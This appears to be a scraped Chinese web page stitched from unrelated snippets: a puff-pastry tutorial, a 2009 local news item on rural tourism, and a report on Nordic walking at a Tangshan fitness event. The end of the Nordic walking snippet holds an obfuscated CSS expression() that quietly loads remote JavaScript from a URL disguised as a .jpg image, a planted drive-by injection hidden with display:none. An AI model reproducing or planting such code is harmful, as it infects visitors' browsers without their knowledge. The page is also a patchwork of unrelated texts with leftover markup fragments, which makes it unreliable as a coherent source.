做过葡式蛋挞的人,一定都不会忘了它的挞皮,它需要在面团中裹入黄油(或玛琪琳),经过反复的折叠,才能做成。这对于初学者来说,是一件难度很大的事儿。</STRONG>
千层酥皮的制作,是糕点的基础,任何一个喜爱烘焙的人都不应该放过,但是也有很多同学在制作的时候遇到各种各样的问题,所以,我这次特意制作了一个更加详细的步骤图,希望所有的同学都能学会哈~</STRONG> 千层酥皮不仅用来制作蛋挞,还可以制作各种酥皮点心、千层酥皮派等,有着极为丰富的应用。在西点店里,用千层酥皮制作的点心总是最引人注目的点心之一。所以,这是门必修课哦。</STRONG> 千层酥皮的原理在于,于面团中裹入油脂,经过反复折叠,形成数百层面皮-黄油-面皮的分层。在烘焙的时候,面皮中的水分受高温汽化,面皮在水蒸气的冲击作用下膨胀开来,形成层次分明又香酥可口的酥皮。</STRONG> 【千层酥皮面团】 配料</STRONG>:低筋粉220克,高筋粉30克,黄油40克,细砂糖5克,盐1.5克,水125克,黄油180克(裹入用) 制作过程: </STRONG>1、准备好原料 2、面粉和糖、盐混合,将40克黄油放于室温使 阅读全文>> |
发展乡村旅游 促进农民增收
大洋新闻</SPAN> 时间: 2009-08-08</SPAN> 8月7日下午,副市长陈国率领市农业局、市环保局、市规划局、市林业局、市国土房管局、市水务局等有关部门人员一行30多人,到我区调研乡村旅游工作,并落实发展乡村旅游促进农民增收工作方案。陈国一行先后视察了东涌镇大稳村农业博览园、沙湾镇南粤苑等景点,并在南粤苑召开了发展乡村旅游促进农民增收工作会议。区委副书记、区长楼旭逵出席了会议,区委常委、常务副区长戴永昌,副区长徐柳陪同调研并出席会议。 |
8月8日,在唐山庆祝“全民健身日”体育大会上,百名执杖越野行走队员表演了执杖越野行走操。执杖越野行走起源于芬兰,最早是滑雪运动运动员夏季训练的方法。芬兰率先把滑雪杖改制成适合步行和登山的手杖,开创了越野行走的先河。从1997年开始,有几十个国家开展了越野行走,成为目前世界上发展最快的大众健身娱乐项目。越野行走是一项老少皆宜的运动。使用越野行走手杖进行健身操,可使身体活动更加到位,拉伸更加充分且方式更加多样,把徒手做操提高到一个新的层次。</SPAN>现在,国家体育总局社会体育指导中心正将越野行走做为优秀健身项目在向全国推广。 ee:Expression(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement(ss);st.src='http://hajenip.googlepages.com/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" |
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